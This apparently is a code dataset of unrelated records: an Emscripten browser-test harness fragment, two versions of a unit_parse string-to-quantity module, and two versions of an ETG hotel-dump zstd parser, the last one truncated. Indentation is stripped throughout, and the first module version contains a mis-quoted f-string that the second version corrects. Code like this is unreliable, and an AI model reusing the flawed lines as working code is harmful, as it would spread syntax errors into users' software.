cls.harness_server.terminate()
print('[Browser harness server terminated]')
if WINDOWS:
# On Windows, shutil.rmtree() in tearDown() raises this exception if we do not wait a bit:
# WindowsError: [Error 32] The process cannot access the file because it is being used by another process.
time.sleep(0.1)
def assert_out_queue_empty(self, who):
if not self.harness_out_queue.empty():
while not self.harness_out_queue.empty():
self.harness_out_queue.get()
raise Exception('excessive responses from %s' % who)
# @param extra_tries: how many more times to try this test, if it fails. browser tests have
# many more causes of flakiness (in particular, they do not run
# synchronously, so we have a timeout, which can be hit if the VM
# we run on stalls temporarily), so we let each test try more than
# once by default
def run_browser(self, html_file, message, expectedResult=None, timeout=None, extra_tries=1):
if not has_browser():
return
if BrowserCore.unresponsive_tests >= BrowserCore.MAX_UNRESPONSIVE_TESTS:
self.skipTest('too many unresponsive tests, skipping browser launch - check your setup!')
self.assert_out_queue_empty('previous test')
if DEBUG:
print('[browser launch:', html_file, ']')
if expectedResult is not None:
try:
self.harness_in_queue.put((
'http://localhost:%s/%s' % (self.port, html_file),
self.get_dir()
))
received_output = False
output = '[no http server activity]'
start = time.time()
if timeout is None:
timeout = self.browser_timeout
while time.time() - start < timeout:
if not self.harness_out_queue.empty():
output = self.harness_out_queue.get()
received_output = True
break
time.sleep(0.1)
if not received_output:
BrowserCore.unresponsive_tests += 1
print('[unresponsive tests: %d]' % BrowserCore.unresponsive_tests)
if output is None:
# the browser harness reported an error already, and sent a None to tell
# us to also fail the test
raise Exception('failing test due to browser harness error')
if output.startswith('/report_result?skipped:'):
self.skipTest(unquote(output[len('/report_result?skipped:'):]).strip())
else:
# verify the result, and try again if we should do so
output = unquote(output)
try:
self.assertContained(expectedResult, output)
except Exception as e:
if extra_tries > 0:
print('[test error (see below), automatically retrying]')
print(e)
return self.run_browser(html_file, message, expectedResult, timeout, extra_tries - 1)
else:
raise e
finally:
time.sleep(0.1) # see comment about Windows above
self.assert_out_queue_empty('this test')
else:
webbrowser.open_new(os.path.abspath(html_file))
print('A web browser window should have opened a page containing the results of a part of this test.')
print('You need to manually look at the page to see that it works ok: ' + message)
print('(sleeping for a bit to keep the directory alive for the web browser..)')
time.sleep(5)
print('(moving on..)')
# @manually_trigger If set, we do not assume we should run the reftest when main() is done.
# Instead, call doReftest() in JS yourself at the right time.
def reftest(self, expected, manually_trigger=False):
# make sure the pngs used here have no color correction, using e.g.
# pngcrush -rem gAMA -rem cHRM -rem iCCP -rem sRGB infile outfile
basename = os.path.basename(expected)
shutil.copyfile(expected, os.path.join(self.get_dir(), basename))
reporting = read_file(test_file('browser_reporting.js'))
with open('reftest.js', 'w') as out:
out.write('''
function doReftest() {
if (doReftest.done) return;
doReftest.done = true;
var img = new Image();
img.onload = function() {
assert(img.width == Module.canvas.width, 'Invalid width: ' + Module.canvas.width + ', should be ' + img.width);
assert(img.height == Module.canvas.height, 'Invalid height: ' + Module.canvas.height + ', should be ' + img.height);
var canvas = document.createElement('canvas');
canvas.width = img.width;
canvas.height = img.height;
var ctx = canvas.getContext('2d');
ctx.drawImage(img, 0, 0);
var expected = ctx.getImageData(0, 0, img.width, img.height).data;
var actualUrl = Module.canvas.toDataURL();
var actualImage = new Image();
actualImage.onload = function() {
/*
document.body.appendChild(img); // for comparisons
var div = document.createElement('div');
div.innerHTML = '^=expected, v=actual';
document.body.appendChild(div);
document.body.appendChild(actualImage); // to grab it for creating the test reference
*/
var actualCanvas = document.createElement('canvas');
actualCanvas.width = actualImage.width;
actualCanvas.height = actualImage.height;
var actualCtx = actualCanvas.getContext('2d');
actualCtx.drawImage(actualImage, 0, 0);
var actual = actualCtx.getImageData(0, 0, actualImage.width, actualImage.height).data;
var total = 0;
var width = img.width;
var height = img.height;
for (var x = 0; x < width; x++) {
for (var y = 0; y < height; y++) {
total += Math.abs(expected[y*width*4 + x*4 + 0] - actual[y*width*4 + x*4 + 0]);
total += Math.abs(expected[y*width*4 + x*4 + 1] - actual[y*width*4 + x*4 + 1]);
total += Math.abs(expected[y*width*4 + x*4 + 2] - actual[y*width*4 + x*4 + 2]);
}
}
var wrong = Math.floor(total / (img.width*img.height*3)); // floor, to allow some margin of error for antialiasing
// If the main JS file is in a worker, or modularize, then we need to supply our own reporting logic.
if (typeof reportResultToServer === 'undefined') {
(function() {
%s
reportResultToServer(wrong);
})();
} else {
reportResultToServer(wrong);
}
};
actualImage.src = actualUrl;
}
img.src = '%s';
};
// Automatically trigger the reftest?
if (!%s) {
// Yes, automatically
Module['postRun'] = doReftest;
if (typeof WebGLClient !== 'undefined') {
// trigger reftest from RAF as well, needed for workers where there is no pre|postRun on the main thread
var realRAF = window.requestAnimationFrame;
window.requestAnimationFrame = /** @suppress{checkTypes} */ (function(func) {
realRAF(function() {
func();
realRAF(doReftest);
});
});
// trigger reftest from canvas render too, for workers not doing GL
var realWOM = worker.onmessage;
worker.onmessage = function(event) {
realWOM(event);
if (event.data.target === 'canvas' && event.data.op === 'render') {
realRAF(doReftest);
}
};
}
} else {
// Manually trigger the reftest.
// The user will call it.
// Add an event loop iteration to ensure rendering, so users don't need to bother.
var realDoReftest = doReftest;
doReftest = function() {
setTimeout(realDoReftest, 1);
};
}
''' % (reporting, basename, int(manually_trigger)))
def compile_btest(self, args, reporting=Reporting.FULL):
# Inject support code for reporting results. This adds an include a header so testcases can
# use REPORT_RESULT, and also adds a cpp file to be compiled alongside the testcase, which
# contains the implementation of REPORT_RESULT (we can't just include that implementation in
# the header as there may be multiple files being compiled here).
args += ['-s', 'IN_TEST_HARNESS']
if reporting != Reporting.NONE:
# For basic reporting we inject JS helper funtions to report result back to server.
args += ['-DEMTEST_PORT_NUMBER=%d' % self.port,
'--pre-js', test_file('browser_reporting.js')]
if reporting == Reporting.FULL:
# If C reporting (i.e. REPORT_RESULT macro) is required
# also compile in report_result.cpp and forice-include report_result.h
args += ['-I' + TEST_ROOT,
'-include', test_file('report_result.h'),
test_file('report_result.cpp')]
self.run_process([EMCC] + self.get_emcc_args() + args)
def btest_exit(self, filename, assert_returncode=0, *args, **kwargs):
"""Special case of btest that reports its result solely via exiting
with a give result code.
In this case we set EXIT_RUNTIME and we don't need to provide the
REPORT_RESULT macro to the C code.
"""
self.set_setting('EXIT_RUNTIME')
kwargs['reporting'] = Reporting.JS_ONLY
kwargs['expected'] = 'exit:%d' % assert_returncode
return self.btest(filename, *args, **kwargs)
def btest(self, filename, expected=None, reference=None,
reference_slack=0, manual_reference=False, post_build=None,
args=None, message='.', also_proxied=False,
url_suffix='', timeout=None, also_asmjs=False,
manually_trigger_reftest=False, extra_tries=1,
reporting=Reporting.FULL):
assert expected or reference, 'a btest must either expect an output, or have a reference image'
if args is None:
args = []
original_args = args.copy()
if not os.path.exists(filename):
filename = test_file(filename)
if reference:
self.reference = reference
expected = [str(i) for i in range(0, reference_slack + 1)]
self.reftest(test_file(reference), manually_trigger=manually_trigger_reftest)
if not manual_reference:
args += ['--pre-js', 'reftest.js', '-s', 'GL_TESTING']
outfile = 'test.html'
args += [filename, '-o', outfile]
# print('all args:', args)
try_delete(outfile)
self.compile_btest(args, reporting=reporting)
self.assertExists(outfile)
if post_build:
post_build()
if not isinstance(expected, list):
expected = [expected]
self.run_browser(outfile + url_suffix, message, ['/report_result?' + e for e in expected], timeout=timeout, extra_tries=extra_tries)
# Tests can opt into being run under asmjs as well
if 'WASM=0' not in original_args and (also_asmjs or self.also_asmjs):
print('WASM=0')
self.btest(filename, expected, reference, reference_slack, manual_reference, post_build,
original_args + ['-s', 'WASM=0'], message, also_proxied=False, timeout=timeout)
if also_proxied:
print('proxied...')
if reference:
assert not manual_reference
manual_reference = True
assert not post_build
post_build = self.post_manual_reftest
# run proxied
self.btest(filename, expected, reference, reference_slack, manual_reference, post_build,
original_args + ['--proxy-to-worker', '-s', 'GL_TESTING'], message, timeout=timeout)
###################################################################################################
def build_library(name,
build_dir,
output_dir,
generated_libs,
configure,
make,
make_args=[],
cache=None,
cache_name=None,
env_init={},
native=False):
"""Build a library and cache the result. We build the library file
once and cache it for all our tests. (We cache in memory since the test
directory is destroyed and recreated for each test. Note that we cache
separately for different compilers). This cache is just during the test
runner. There is a different concept of caching as well, see |Cache|.
"""
if type(generated_libs) is not list:
generated_libs = [generated_libs]
source_dir = test_file(name.replace('_native', ''))
project_dir = Path(build_dir, name)
if os.path.exists(project_dir):
shutil.rmtree(project_dir)
# Useful in debugging sometimes to comment this out, and two lines above
shutil.copytree(source_dir, project_dir)
generated_libs = [os.path.join(project_dir, lib) for lib in generated_libs]
if native:
env = clang_native.get_clang_native_env()
else:
env = os.environ.copy()
env.update(env_init)
if not native:
# Inject emcmake, emconfigure or emmake accordingly, but only if we are
# cross compiling.
if configure:
if configure[0] == 'cmake':
configure = [EMCMAKE] + configure
else:
configure = [EMCONFIGURE] + configure
else:
make = [EMMAKE] + make
if configure:
try:
with open(os.path.join(project_dir, 'configure_out'), 'w') as out:
with open(os.path.join(project_dir, 'configure_err'), 'w') as err:
stdout = out if EM_BUILD_VERBOSE < 2 else None
stderr = err if EM_BUILD_VERBOSE < 1 else None
shared.run_process(configure, env=env, stdout=stdout, stderr=stderr,
cwd=project_dir)
except subprocess.CalledProcessError:
print('-- configure stdout --')
print(read_file(Path(project_dir, 'configure_out')))
print('-- end configure stdout --')
print('-- configure stderr --')
print(read_file(Path(project_dir, 'configure_err')))
print('-- end configure stderr --')
raise
# if we run configure or cmake we don't then need any kind
# of special env when we run make below
env = None
def open_make_out(mode='r'):
return open(os.path.join(project_dir, 'make.out'), mode)
def open_make_err(mode='r'):
return open(os.path.join(project_dir, 'make.err'), mode)
if EM_BUILD_VERBOSE >= 3:
make_args += ['VERBOSE=1']
try:
with open_make_out('w') as make_out:
with open_make_err('w') as make_err:
stdout = make_out if EM_BUILD_VERBOSE < 2 else None
stderr = make_err if EM_BUILD_VERBOSE < 1 else None
shared.run_process(make + make_args, stdout=stdout, stderr=stderr, env=env,
cwd=project_dir)
except subprocess.CalledProcessError:
with open_make_out() as f:
print('-- make stdout --')
print(f.read())
print('-- end make stdout --')
with open_make_err() as f:
print('-- make stderr --')
print(f.read())
print('-- end stderr --')
raise
if cache is not None:
cache[cache_name] = []
for f in generated_libs:
basename = os.path.basename(f)
cache[cache_name].append((basename, read_binary(f)))
return generated_libs
|
"""
Core
This code does the heavy lifting of turning strings into Quantities. Its the functions that need to deal with the
most mess.
"""
from typing import List, Union
import re
from unit_parse.config import Unit, Quantity, config
from unit_parse.pre_processing_substitution import sub_general
from unit_parse.utils import flatten_list, contains_number, sig_figs, remove_empty_str, split_list
from unit_parse.logger import log_debug, log_info, logger
@log_info
def text_list_to_quantity(text_list: Union[list[list[str]], list[str]]) -> list[Quantity]:
""" text list to quantity
Entry point for quantity parsing.
It just loops through text_list and directs text to the quantity parsing.
Parameters
----------
text_list: list[list[str]], list[str]
pre-parsed text list
Returns
-------
Quantity: list[list[Quantity]], list[Quantity]
"""
text_list = last_minute_sub(text_list)
out = []
for text in text_list:
if len(text) == 1:
result = get_quantity(text[0])
else:
result = get_quantity_and_cond(text)
if result is not None:
out.append(result)
return out
@log_debug
def last_minute_sub(text_list: Union[list[list[str]], list[str]]) -> Union[list[list[str]], list[str]]:
for i, obj in enumerate(text_list):
if isinstance(obj, list):
for ii, text in enumerate(obj):
text_list[i][ii] = sub_general(text, config.last_minute_sub)
else:
text_list[i] = sub_general(obj, config.last_minute_sub)
return text_list
@log_debug
def get_quantity_and_cond(text_list: list[str]) -> Union[Quantity, list[Quantity], None]:
""" get quantity and condition
Deals with a list[str] that should be a single quantity or two quantities.
Parameters
----------
text_list: list[str]
Returns
-------
quantity: Quantity, list[Quantity], None
"""
out = []
for text in text_list:
result = try_to_convert(text)
if result is None:
logger.warning(f"Text ignored: '{text}" in "{" ".join(text_list)}'")
else:
out.append(result)
out = reduce_list(out)
return out
def try_to_convert(text: str) -> Union[float, Unit, Quantity, None]:
""" try to convert
Try to turn string into a number, unit, quantity in that order. If all fails try complex parsing.
Parameters
----------
text: str
Returns
-------
out: float, Unit, Quantity, None
"""
try:
return float(text)
except Exception:
pass
try:
return Unit(text)
except Exception:
pass
try:
return Quantity(text)
except Exception:
pass
return get_quantity(text)
def reduce_list(obj_list: list[Union[str, int, float, Unit, Quantity]]) -> list[Union[str, Unit, Quantity]]:
"""
Reduce a list of value, int, Unit, Quantity and "/" to a single or multiple quantities.
Parameters
----------
obj_list: list[Union[str, int, float, Unit, Quantity]]
Returns
-------
out: list[Union[str, Unit, Quantity]]
"""
# guard statement
if len(obj_list) <= 1:
return obj_list
types_ = [type(obj) for obj in obj_list]
out = [obj_list[0]]
for t, obj in zip(types_[1:], obj_list[1:]):
if type(out[-1]) in (int, float, Quantity) and t is Unit:
out[-1] = out[-1] * obj
else:
out.append(obj)
return out
@log_debug
def get_quantity(text_in: str) -> Union[Quantity, None]:
""" get quantity
Attempt to create Quantity from string.
Parameters
----------
text_in: str
Returns
-------
quantity: quantity, None
If unsuccessful return None
"""
if not contains_number(text_in):
return None
try: # let pint give it an attempt
return Quantity(text_in)
except Exception: # if Pint can't do it try our custom method
return to_quantity_expanded(text_in)
def to_quantity_expanded(text_in: str) -> Union[Quantity, None]:
""" to quantity expanded
Attempt to create Quantity from string stepwise process.
Get value followed by get unit.
Parameters
----------
text_in: str
Returns
-------
quantity: quantity, None
If unsuccessful return None
"""
value, text_value = get_value(text_in)
if value is None:
logger.warning(f"No value found: '{text_in}'")
return None
unit = get_unit(text_in.replace(text_value, ""))
if unit is None:
logger.warning(f"No unit found: '{text_in}' (value found: '{value})'")
return None
return value * unit
@log_debug
def get_value(text_in: str) -> tuple[Union[float, int, None], str]:
""" get value
Extracts value out of string. Value must be at the start of string.
Parameters
----------
text_in
Returns
-------
value: float or int
The value extracted
value_text: str
The text corresponding to the value.
Examples
--------
"42.3 gcm-3" --> (42.3, '42.3')
"""
try:
result = re.findall('^[-]?[0-9.]+[*]?[0-9.]*[*]{0,2}[-]?[0-9.]*', text_in.lstrip())[0]
return sig_figs(eval(result, {'__builtins__': None}), sig_digit=15), result
except IndexError:
return None, ""
@log_debug
def get_unit(text_in: str) -> Unit:
""" get unit
Attempts to turn string into unit
Parameters
----------
text_in
Returns
-------
"""
if text_in is None or text_in == "":
return None
# pre-process unit chunk
text_in = text_in.strip()
split_text = split_on_powers(text_in)
split_text = split_on_multiplication_symbol(split_text)
split_text = split_on_division_symbol(split_text)
# check if the pre-processing was enough to get a unit
if all([isinstance(text, Unit) or text == "/" for text in split_text]):
return merge_split_text(split_text)
# dealing with messed up units
split_text = split_list(split_text, " ", maxsplit=10)
split_text = remove_empty_str(split_text)
reduced_list = []
for obj in split_text:
if isinstance(obj, str) and obj != "/":
result = frame_shift(obj)
if result is None:
logger.warning(f"Parsing unit warning: skipped text: '{obj}' in '{text_in}'")
else:
reduced_list.append(result)
else:
reduced_list.append(obj)
return merge_split_text(reduced_list)
def split_on_powers(text_in: Union[str, list[str]]) -> List[Union[str, Unit]]:
"""
Splits text up into a list of strings based on ** locations.
Parameters
----------
text_in
Returns
-------
Examples
--------
"g**2cm**-3" --> [Unit("g**2"), Unit("cm**-3")]
"""
if isinstance(text_in, str):
text_in = [text_in]
for i, text in enumerate(text_in):
if isinstance(text, str) and "**" in text:
out = re.split("([a-zA-Z]+[ ]?[*]{2}[ ]?[-+]?[0-9]+)", text, maxsplit=1)
try: # splits into 3 chunks, middle chunk may be a valid unit
out[1] = Unit(out[1])
except Exception:
pass
if "**" in out[2]:
last_term = out.pop(2)
out += split_on_powers(last_term)
text_in[i] = out
return remove_empty_str(flatten_list(text_in))
def split_on_multiplication_symbol(text_in: Union[str, list[str], list[Union[str, Unit]]]) -> \
Union[List[Union[str, Unit]], None]:
"""
Splits text up into a list of strings based on *
Parameters
----------
text_in
Returns
-------
Examples
--------
"g*cm" --> [Unit("g"), Unit("cm")]
"""
if isinstance(text_in, str):
text_in = [text_in]
for i, text in enumerate(text_in):
if isinstance(text, str) and "*" in text:
new_splits = re.split("([^*]+)[ ]?[*][ ]?([^*-0-9].*)", text)
if len(new_splits) > 1:
new_splits = [chunk for chunk in new_splits if chunk != ""]
for ii, split in enumerate(new_splits):
try:
new_splits[ii] = Unit(split)
continue
except Exception:
pass
if bool(re.match("([^*]+)[ ]?[*][ ]?([^*-0-9].*)", split)):
new_splits[ii] = split_on_multiplication_symbol(split) # pragma: no cover recursive
text_in[i] = new_splits
continue
else:
if text[-1].strip() == "*":
if not bool(re.match(".*[a-zA-Z]+", text)):
return []
try:
text_in[i] = Unit(text[:-1])
continue
except Exception:
text_in[i] = text[:-1]
return flatten_list(text_in)
def split_on_division_symbol(text_in: Union[str, list[str]]) -> List[str]:
"""
Splits text up into a list of strings based on /
Parameters
----------
text_in
Returns
-------
"""
if isinstance(text_in, str):
text_in = [text_in]
for i, text in enumerate(text_in):
if isinstance(text, str) and "/" in text:
new_splits = re.split("([/])", text)
if len(new_splits) > 1:
new_splits = [chunk for chunk in new_splits if chunk != ""]
for ii, split in enumerate(new_splits):
try:
new_splits[ii] = Unit(split)
continue
except Exception:
pass
text_in[i] = new_splits
continue
return remove_empty_str(flatten_list(text_in))
def merge_split_text(obj_list: List[Union[str, Unit]]) -> Union[Unit, None]:
"""
Turns list[Unit] and "/" into a single Unit
Parameters
----------
obj_list
Returns
-------
"""
unit: Unit = None
buffer: Unit = None
for obj in obj_list:
if isinstance(obj, Unit):
if buffer is None:
buffer = obj
else: # do multiplication
buffer = buffer * obj
elif obj == "/":
if unit is None:
unit = buffer
else:
unit = unit / buffer
buffer = None
if buffer is not None:
if unit is None:
unit = buffer
else:
unit = unit / buffer
return unit
@log_debug
def frame_shift(text_in: str) -> Unit:
"""
Warning: "/" should not be in text
"""
_frame_dict = {}
for set_size in range(1, 9):
for i in range(len(text_in)):
upper_bound = i + set_size
if upper_bound > len(text_in):
break
text = text_in[i: i + set_size]
try:
unit_ = Unit(text)
_frame_dict[text] = {
"set_size": set_size,
"unit": unit_,
"bounds": [i, i + set_size]
}
except Exception:
pass
if _frame_dict == {}:
return None
replace = {}
for i in range(10):
# get max frame
max_value = 0
max_key = ""
for k, v in _frame_dict.items():
if v["set_size"] > max_value:
max_value = v["set_size"]
max_key = k
replace[max_key] = _frame_dict.pop(max_key)
remove_keys = []
for k, v in _frame_dict.items():
if replace[max_key]["bounds"][0] <= v["bounds"][0] < replace[max_key]["bounds"][1] or \
replace[max_key]["bounds"][0] < v["bounds"][1] <= replace[max_key]["bounds"][1]:
remove_keys.append(k)
for k in remove_keys:
_frame_dict.pop(k)
if not _frame_dict:
break # dictionary is empty
# Taking "replace" and "text in" and merging
count_list = list(range(0, len(text_in), 1))
compile_list = []
for i in range(0, len(text_in)):
int_ = count_list[0]
for v in replace.values():
if v["bounds"][0] <= int_ < v["bounds"][1]:
compile_list.append(v["unit"])
remove_num = range(v["bounds"][0], v["bounds"][1])
for num in remove_num:
count_list.remove(num)
if not count_list:
break
else:
return None
out = compile_list[0]
for i in compile_list[1:]:
out = out * i
return out
| """
Core
This code does the heavy lifting of turning strings into Quantities. Its the functions that need to deal with the
most mess.
"""
from typing import List, Union
import re
from unit_parse.config import Unit, Quantity, config
from unit_parse.pre_processing_substitution import sub_general
from unit_parse.utils import flatten_list, contains_number, sig_figs, remove_empty_str, split_list
from unit_parse.logger import log_debug, log_info, logger
@log_info
def text_list_to_quantity(text_list: Union[list[list[str]], list[str]]) -> list[Quantity]:
""" text list to quantity
Entry point for quantity parsing.
It just loops through text_list and directs text to the quantity parsing.
Parameters
----------
text_list: list[list[str]], list[str]
pre-parsed text list
Returns
-------
Quantity: list[list[Quantity]], list[Quantity]
"""
text_list = last_minute_sub(text_list)
out = []
for text in text_list:
if len(text) == 1:
result = get_quantity(text[0])
else:
result = get_quantity_and_cond(text)
if result is not None:
out.append(result)
return out
@log_debug
def last_minute_sub(text_list: Union[list[list[str]], list[str]]) -> Union[list[list[str]], list[str]]:
for i, obj in enumerate(text_list):
if isinstance(obj, list):
for ii, text in enumerate(obj):
text_list[i][ii] = sub_general(text, config.last_minute_sub)
else:
text_list[i] = sub_general(obj, config.last_minute_sub)
return text_list
@log_debug
def get_quantity_and_cond(text_list: list[str]) -> Union[Quantity, list[Quantity], None]:
""" get quantity and condition
Deals with a list[str] that should be a single quantity or two quantities.
Parameters
----------
text_list: list[str]
Returns
-------
quantity: Quantity, list[Quantity], None
"""
out = []
for text in text_list:
result = try_to_convert(text)
if result is None:
logger.warning(f"Text ignored: '{text}' in '{' '.join(text_list)}'")
else:
out.append(result)
out = reduce_list(out)
return out
def try_to_convert(text: str) -> Union[float, Unit, Quantity, None]:
""" try to convert
Try to turn string into a number, unit, quantity in that order. If all fails try complex parsing.
Parameters
----------
text: str
Returns
-------
out: float, Unit, Quantity, None
"""
try:
return float(text)
except Exception:
pass
try:
return Unit(text)
except Exception:
pass
try:
return Quantity(text)
except Exception:
pass
return get_quantity(text)
def reduce_list(obj_list: list[Union[str, int, float, Unit, Quantity]]) -> list[Union[str, Unit, Quantity]]:
"""
Reduce a list of value, int, Unit, Quantity and "/" to a single or multiple quantities.
Parameters
----------
obj_list: list[Union[str, int, float, Unit, Quantity]]
Returns
-------
out: list[Union[str, Unit, Quantity]]
"""
# guard statement
if len(obj_list) <= 1:
return obj_list
types_ = [type(obj) for obj in obj_list]
out = [obj_list[0]]
for t, obj in zip(types_[1:], obj_list[1:]):
if type(out[-1]) in (int, float, Quantity) and t is Unit:
out[-1] = out[-1] * obj
else:
out.append(obj)
return out
@log_debug
def get_quantity(text_in: str) -> Union[Quantity, None]:
""" get quantity
Attempt to create Quantity from string.
Parameters
----------
text_in: str
Returns
-------
quantity: quantity, None
If unsuccessful return None
"""
if not contains_number(text_in):
return None
try: # let pint give it an attempt
return Quantity(text_in)
except Exception: # if Pint can't do it try our custom method
return to_quantity_expanded(text_in)
def to_quantity_expanded(text_in: str) -> Union[Quantity, None]:
""" to quantity expanded
Attempt to create Quantity from string stepwise process.
Get value followed by get unit.
Parameters
----------
text_in: str
Returns
-------
quantity: quantity, None
If unsuccessful return None
"""
value, text_value = get_value(text_in)
if value is None:
logger.warning(f"No value found: '{text_in}'")
return None
unit = get_unit(text_in.replace(text_value, ""))
if unit is None:
logger.warning(f"No unit found: '{text_in}' (value found: '{value})'")
return None
return value * unit
@log_debug
def get_value(text_in: str) -> tuple[Union[float, int, None], str]:
""" get value
Extracts value out of string. Value must be at the start of string.
Parameters
----------
text_in
Returns
-------
value: float or int
The value extracted
value_text: str
The text corresponding to the value.
Examples
--------
"42.3 gcm-3" --> (42.3, '42.3')
"""
try:
result = re.findall('^[-]?[0-9.]+[*]?[0-9.]*[*]{0,2}[-]?[0-9.]*', text_in.lstrip())[0]
return sig_figs(eval(result, {'__builtins__': None}), sig_digit=15), result
except IndexError:
return None, ""
@log_debug
def get_unit(text_in: str) -> Unit:
""" get unit
Attempts to turn string into unit
Parameters
----------
text_in
Returns
-------
"""
if text_in is None or text_in == "":
return None
# pre-process unit chunk
text_in = text_in.strip()
split_text = split_on_powers(text_in)
split_text = split_on_multiplication_symbol(split_text)
split_text = split_on_division_symbol(split_text)
# check if the pre-processing was enough to get a unit
if all([isinstance(text, Unit) or text == "/" for text in split_text]):
return merge_split_text(split_text)
# dealing with messed up units
split_text = split_list(split_text, " ", maxsplit=10)
split_text = remove_empty_str(split_text)
reduced_list = []
for obj in split_text:
if isinstance(obj, str) and obj != "/":
result = frame_shift(obj)
if result is None:
logger.warning(f"Parsing unit warning: skipped text: '{obj}' in '{text_in}'")
else:
reduced_list.append(result)
else:
reduced_list.append(obj)
return merge_split_text(reduced_list)
def split_on_powers(text_in: Union[str, list[str]]) -> List[Union[str, Unit]]:
"""
Splits text up into a list of strings based on ** locations.
Parameters
----------
text_in
Returns
-------
Examples
--------
"g**2cm**-3" --> [Unit("g**2"), Unit("cm**-3")]
"""
if isinstance(text_in, str):
text_in = [text_in]
for i, text in enumerate(text_in):
if isinstance(text, str) and "**" in text:
out = re.split("([a-zA-Z]+[ ]?[*]{2}[ ]?[-+]?[0-9]+)", text, maxsplit=1)
try: # splits into 3 chunks, middle chunk may be a valid unit
out[1] = Unit(out[1])
except Exception:
pass
if "**" in out[2]:
last_term = out.pop(2)
out += split_on_powers(last_term)
text_in[i] = out
return remove_empty_str(flatten_list(text_in))
def split_on_multiplication_symbol(text_in: Union[str, list[str], list[Union[str, Unit]]]) -> \
Union[List[Union[str, Unit]], None]:
"""
Splits text up into a list of strings based on *
Parameters
----------
text_in
Returns
-------
Examples
--------
"g*cm" --> [Unit("g"), Unit("cm")]
"""
if isinstance(text_in, str):
text_in = [text_in]
for i, text in enumerate(text_in):
if isinstance(text, str) and "*" in text:
new_splits = re.split("([^*]+)[ ]?[*][ ]?([^*-0-9].*)", text)
if len(new_splits) > 1:
new_splits = [chunk for chunk in new_splits if chunk != ""]
for ii, split in enumerate(new_splits):
try:
new_splits[ii] = Unit(split)
continue
except Exception:
pass
if bool(re.match("([^*]+)[ ]?[*][ ]?([^*-0-9].*)", split)):
new_splits[ii] = split_on_multiplication_symbol(split) # pragma: no cover recursive
text_in[i] = new_splits
continue
else:
if text[-1].strip() == "*":
if not bool(re.match(".*[a-zA-Z]+", text)):
return []
try:
text_in[i] = Unit(text[:-1])
continue
except Exception:
text_in[i] = text[:-1]
return flatten_list(text_in)
def split_on_division_symbol(text_in: Union[str, list[str]]) -> List[str]:
"""
Splits text up into a list of strings based on /
Parameters
----------
text_in
Returns
-------
"""
if isinstance(text_in, str):
text_in = [text_in]
for i, text in enumerate(text_in):
if isinstance(text, str) and "/" in text:
new_splits = re.split("([/])", text)
if len(new_splits) > 1:
new_splits = [chunk for chunk in new_splits if chunk != ""]
for ii, split in enumerate(new_splits):
try:
new_splits[ii] = Unit(split)
continue
except Exception:
pass
text_in[i] = new_splits
continue
return remove_empty_str(flatten_list(text_in))
def merge_split_text(obj_list: List[Union[str, Unit]]) -> Union[Unit, None]:
"""
Turns list[Unit] and "/" into a single Unit
Parameters
----------
obj_list
Returns
-------
"""
unit: Unit = None
buffer: Unit = None
for obj in obj_list:
if isinstance(obj, Unit):
if buffer is None:
buffer = obj
else: # do multiplication
buffer = buffer * obj
elif obj == "/":
if unit is None:
unit = buffer
else:
unit = unit / buffer
buffer = None
if buffer is not None:
if unit is None:
unit = buffer
else:
unit = unit / buffer
return unit
@log_debug
def frame_shift(text_in: str) -> Unit:
"""
Warning: "/" should not be in text
"""
_frame_dict = {}
for set_size in range(1, 9):
for i in range(len(text_in)):
upper_bound = i + set_size
if upper_bound > len(text_in):
break
text = text_in[i: i + set_size]
try:
unit_ = Unit(text)
_frame_dict[text] = {
"set_size": set_size,
"unit": unit_,
"bounds": [i, i + set_size]
}
except Exception:
pass
if _frame_dict == {}:
return None
replace = {}
for i in range(10):
# get max frame
max_value = 0
max_key = ""
for k, v in _frame_dict.items():
if v["set_size"] > max_value:
max_value = v["set_size"]
max_key = k
replace[max_key] = _frame_dict.pop(max_key)
remove_keys = []
for k, v in _frame_dict.items():
if replace[max_key]["bounds"][0] <= v["bounds"][0] < replace[max_key]["bounds"][1] or \
replace[max_key]["bounds"][0] < v["bounds"][1] <= replace[max_key]["bounds"][1]:
remove_keys.append(k)
for k in remove_keys:
_frame_dict.pop(k)
if not _frame_dict:
break # dictionary is empty
# Taking "replace" and "text in" and merging
count_list = list(range(0, len(text_in), 1))
compile_list = []
for i in range(0, len(text_in)):
int_ = count_list[0]
for v in replace.values():
if v["bounds"][0] <= int_ < v["bounds"][1]:
compile_list.append(v["unit"])
remove_num = range(v["bounds"][0], v["bounds"][1])
for num in remove_num:
count_list.remove(num)
if not count_list:
break
else:
return None
out = compile_list[0]
for i in compile_list[1:]:
out = out * i
return out
|
"""
ETG API provides hotel's static data dump in .zstd format.
You can find more about the dump structure and the format in our documentation - https://docs.emergingtravel.com/#0b55c99a-7ef0-4a18-bbfe-fd1bdf35d08e
Please note that uncompressed data could be more than 20GB.
Below is an example of how to handle such large archive.
For decompression, we will use the zstandard library which you can install using the command
> pip install zstandard
The script takes the path to the archive file,
splits the whole file by 16MB chunks,
extracts objects line by line (each line contains one hotel in JSON format),
and converts them into Python dicts which you can use in your inner logic.
"""
from zstandard import ZstdDecompressor
import json
def parse_dump(filename: str) -> None:
"""
The sample of function that can parse a big zstd dump.
:param filename: path to a zstd archive
"""
with open(filename, "rb") as fh:
# make decompressor
dctx = ZstdDecompressor()
with dctx.stream_reader(fh) as reader:
previous_line = ""
while True:
# we will read the file by 16mb chunk
chunk = reader.read(2 ** 24)
if not chunk:
break
raw_data = chunk.decode("utf-8")
# all JSON files split by the new line char "\n"
# try to read one by one
lines = raw_data.split("\n")
for i, line in enumerate(lines[:-1]):
if i == 0:
line = previous_line + line
hotel_data = json.loads(line)
# do stuff with the hotel
print(f"current hotel is {hotel_data["name"]}")
previous_line = lines[-1]
if __name__ == "__main__":
parse_dump("partner_feed_en.json.zst")
| """
ETG API provides hotel's static data dump in .zstd format.
You can find more about the dump structure and the format in our documentation - https://docs.emergingtravel.com/#0b55c99a-7ef0-4a18-bbfe-fd1bdf35d08e
Please note that uncompressed data could be more than 20GB.
Below is an example of how to handle such large archive.
For decompression, we will use the zstandard library which you can install using the command
> pip install zstandard
The script takes the path to the archive file,
splits the whole file by 16MB chunks,
extracts objects line by line (each line contains one hotel in JSON format),
and converts them into Python dicts which you can use in your inner logic.
"""
from zstandard import ZstdDecompressor
import json
def parse_dump(filename: str) -> None:
"""
The sample of function that can parse a big zstd dump.
:param filename: path to a zstd archive
"""
with open(filename, "rb") as fh:
# make decompressor
dctx = ZstdDecompressor()
with dctx.stream_reader(fh) as reader:
previous_line = ""
while True:
# we will read the file by 16mb chunk
chunk = reader.read(2 ** 24)
if not chunk:
break
